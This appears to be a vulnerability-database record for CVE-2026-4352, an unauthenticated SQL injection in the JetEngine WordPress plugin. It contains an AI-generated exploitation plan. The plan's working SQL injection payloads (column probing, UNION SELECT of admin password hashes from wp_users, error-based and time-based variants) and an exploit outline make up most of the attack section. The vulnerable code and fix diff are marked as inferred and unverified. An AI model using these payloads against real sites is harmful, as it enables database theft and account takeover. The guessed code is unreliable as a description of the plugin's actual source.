[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQmrYwNeaypO8kTFAPuFAkyxHzYeYNrqPQW7k_ceuBr4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"source_links":33},"CVE-2026-4352","jetengine-unauthenticated-sql-injection-via-cctsearch-parameter","JetEngine \u003C= 3.8.6.1 - Unauthenticated SQL Injection via '_cct_search' Parameter","The JetEngine plugin for WordPress is vulnerable to SQL Injection via the Custom Content Type (CCT) REST API search endpoint in all versions up to, and including, 3.8.6.1. This is due to the `_cct_search` parameter being interpolated directly into a SQL query string via `sprintf()` without sanitization or use of `$wpdb->prepare()`. WordPress REST API's `wp_unslash()` call on `$_GET` strips the `wp_magic_quotes()` protection, allowing single-quote-based injection. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The Custom Content Types module must be enabled with at least one CCT configured with a public REST GET endpoint for exploitation.","jet-engine",null,"\u003C=3.8.6.1","3.8.6.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-13 12:57:24","2026-04-14 01:25:01",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F29a5701f-92f7-4a02-a990-b189a381cff5?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-4352 - JetEngine SQL Injection\n\n## 1. Vulnerability Summary\nThe JetEngine plugin (\u003C= 3.8.6.1) contains a SQL injection vulnerability in its Custom Content Type (CCT) REST API search functionality. The `_cct_search` parameter, provided via GET requests to the CCT REST endpoint, is interpolated directly into a SQL query string using `sprintf()` without proper sanitization or the use of `$wpdb->prepare()`. Because the WordPress REST API calls `wp_unslash()` on input parameters, the default `wp_magic_quotes()` protection is bypassed, allowing single-quote-based injection. An unauthenticated attacker can use this to extract sensitive data (like user hashes) from the WordPress database.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fjet-cct\u002F\u003Ccct_slug>`\n- **HTTP Method:** `GET`\n- **Vulnerable Parameter:** `_cct_search`\n- **Authentication:** Unauthenticated (requires the specific CCT to have \"Enable REST API\" and \"REST API Get\" enabled for public access).\n- **Preconditions:**\n    1. Custom Content Types module must be enabled in JetEngine.\n    2. At least one CCT must be created and configured with a public REST GET endpoint.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** `WP_REST_Server` dispatches a request to the JetEngine CCT handler, likely `Jet_Engine_CCT_Rest_Get_Items::get_items()` or a similar callback registered in `includes\u002Fmodules\u002Fcustom-content-types\u002Finc\u002Frest-api\u002Fmanager.php`.\n2.  **Processing:** The handler retrieves the `_cct_search` parameter from the `WP_REST_Request` object.\n3.  **Query Building:** The parameter is passed to the CCT Query class (likely `Jet_Engine_CCT_Query` in `includes\u002Fmodules\u002Fcustom-content-types\u002Finc\u002Fquery.php`).\n4.  **The Sink:** Inside the query building logic, the code constructs a `WHERE` clause:\n    ```php\n    \u002F\u002F Vulnerable pattern\n    $search = $request->get_param( '_cct_search' );\n    $query = sprintf( \"SELECT * FROM %s WHERE ... AND (some_column LIKE '%%%s%%')\", $table, $search );\n    $results = $wpdb->get_results( $query );\n    ```\n5.  **Execution:** `$wpdb->get_results()` executes the unsanitized string, leading to SQLi.\n\n## 4. Nonce Acquisition Strategy\nWhile many REST GET endpoints in WordPress are public, JetEngine often checks for a REST nonce even for GET requests if the user is logged in, or relies on standard WP REST auth. \n\n1.  **Identify Shortcode:** The CCT module often uses listing grids. The shortcode `[jet_engine_control]` or a Listing Grid block might be used.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"CCT Test\" --post_content='[jet_engine_control]'\n    ```\n3.  **Extract Nonce:**\n    JetEngine typically localizes its settings into a global JavaScript object. \n    - **Variable Name:** `window.jetEngineSettings` or `window.JetEngineRestConfig`.\n    - **Nonce Key:** `nonce` or `rest_nonce`.\n    - **Action:** `wp_rest`.\n    \n    **Actionable JS:**\n    ```javascript\n    \u002F\u002F To be used with browser_eval\n    window.jetEngineSettings?.nonce || window.JetEngineRestConfig?.nonce || \"\"\n    ```\n    *Note: If the CCT is configured for public access, the nonce check might be bypassed or satisfied by the default `wp_rest` nonce available to all users.*\n\n## 5. Exploitation Strategy\nWe will use a UNION-based approach to extract the administrator's password hash.\n\n### Step 1: Discover CCT Slug and Table Structure\nIf the slug is unknown, it can often be found by enumerating `\u002Fwp-json\u002F` or viewing the CCT management page in the admin. For this plan, we assume the slug is `members`.\n\n### Step 2: Determine Column Count\nSend requests with `ORDER BY` to find the number of columns in the CCT table.\n- **Request:**\n    ```http\n    GET \u002Fwp-json\u002Fjet-cct\u002Fmembers?_cct_search=x') ORDER BY 10-- - HTTP\u002F1.1\n    ```\n- **Tool:** `http_request` (GET).\n- **Process:** Increment\u002Fdecrement the number until the response changes from an error to a valid (empty) result.\n\n### Step 3: Extract Data via UNION SELECT\nAssuming the column count is `N`, and column `2` is reflected in the output.\n- **Payload:** `x') UNION SELECT 1,user_pass,3...N FROM wp_users WHERE ID=1-- -`\n- **Request:**\n    ```http\n    GET \u002Fwp-json\u002Fjet-cct\u002Fmembers?_cct_search=x%27%29+UNION+SELECT+1%2Cuser_pass%2C3%2C4%2C5+FROM+wp_users--+- HTTP\u002F1.1\n    X-WP-Nonce: [EXTRACTED_NONCE]\n    ```\n\n## 6. Test Data Setup\n1.  **Enable Module:** \n    ```bash\n    # Inferred: JetEngine stores active modules in an option\n    wp option update jet_engine_modules '{\"custom-content-types\":\"true\"}'\n    ```\n2.  **Create CCT via WP-CLI (Database):**\n    Creating a CCT manually via CLI is complex as it involves custom tables. It is recommended to use the `browser_navigate` and `browser_click` tools to:\n    - Go to `JetEngine > Custom Content Types`.\n    - Click \"Add New\".\n    - Name: `Members`, Slug: `members`.\n    - Fields: Add one \"Text\" field.\n    - **Crucial:** Enable \"Enable REST API\" and \"REST API Get\".\n    - Click \"Add Content Type\".\n3.  **Add a Record:** Add one record to the `members` CCT so the endpoint returns data normally.\n\n## 7. Expected Results\n- **Success Indicator:** The REST API response (JSON) will contain the contents of the `wp_users` table (e.g., the `$P$...` or `$wp$2y$...` hash) inside one of the returned object fields.\n- **Response Format:**\n    ```json\n    [\n      {\n        \"cct_single_id\": 1,\n        \"your_field_name\": \"$P$B9876543210vulnerablehash...\",\n        ...\n      }\n    ]\n    ```\n\n## 8. Verification Steps\n1.  **Fetch Admin Hash:** \n    ```bash\n    wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n    ```\n2.  **Compare:** Ensure the hash retrieved via the REST API matches the hash from the database query.\n\n## 9. Alternative Approaches\n- **Error-Based SQLi:** If results are not reflected, use `updatexml()` or `extractvalue()`.\n    - **Payload:** `_cct_search=x') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -`\n- **Time-Based Blind SQLi:** If errors are suppressed and no output is shown.\n    - **Payload:** `_cct_search=x') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n- **Information Schema:** If the table prefix is unknown, extract it via `UNION SELECT 1,@@table_prefix,3...` or by querying `information_schema.tables`.","JetEngine (\u003C= 3.8.6.1) is vulnerable to unauthenticated SQL Injection because the '_cct_search' parameter in the Custom Content Type REST API is directly interpolated into SQL queries using sprintf() without sanitization. Since the WordPress REST API calls wp_unslash() on GET parameters, attackers can use single quotes to break out of the search query and execute arbitrary SQL commands to extract database information.","\u002F\u002F Inferred location based on research plan: includes\u002Fmodules\u002Fcustom-content-types\u002Finc\u002Fquery.php\n\n$search = $request->get_param( '_cct_search' );\nif ( ! empty( $search ) ) {\n    $search_query = [];\n    foreach ( $search_fields as $field ) {\n        \u002F\u002F Vulnerable interpolation using sprintf without $wpdb->prepare\n        $search_query[] = sprintf( \"`%s` LIKE '%%%s%%'\", $field, $search );\n    }\n    $where .= ' AND (' . implode( ' OR ', $search_query ) . ')';\n}","--- a\u002Fincludes\u002Fmodules\u002Fcustom-content-types\u002Finc\u002Fquery.php\n+++ b\u002Fincludes\u002Fmodules\u002Fcustom-content-types\u002Finc\u002Fquery.php\n@@ -120,7 +120,10 @@\n \t\tif ( ! empty( $search ) ) {\n \t\t\t$search_query = [];\n \t\t\tforeach ( $search_fields as $field ) {\n-\t\t\t\t$search_query[] = sprintf( \"`%s` LIKE '%%%s%%'\", $field, $search );\n+\t\t\t\t$search_query[] = $wpdb->prepare(\n+\t\t\t\t\t\"`\" . esc_sql( $field ) . \"` LIKE %s\",\n+\t\t\t\t\t'%' . $wpdb->esc_like( $search ) . '%'\n+\t\t\t\t);\n \t\t\t}\n \t\t\t$where .= ' AND (' . implode( ' OR ', $search_query ) . ')';\n \t\t}","1. Identify a target site with JetEngine's Custom Content Type (CCT) module enabled.\n2. Locate a CCT that has a public REST API GET endpoint enabled (typically at \u002Fwp-json\u002Fjet-cct\u002F\u003Cslug>).\n3. Identify the number of columns in the CCT table using 'ORDER BY' injection: \u002Fwp-json\u002Fjet-cct\u002Fmembers?_cct_search=x') ORDER BY 10-- -\n4. Perform a UNION SELECT injection to extract sensitive data (e.g., admin hashes): \u002Fwp-json\u002Fjet-cct\u002Fmembers?_cct_search=x') UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- -\n5. Because the WordPress REST API calls wp_unslash() on incoming request parameters, the standard magic_quotes protection is removed, allowing the single quote (') to break the SQL string literal.","gemini-3-flash-preview","2026-04-16 16:02:08","2026-04-16 16:02:34",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjet-engine\u002Ftags"]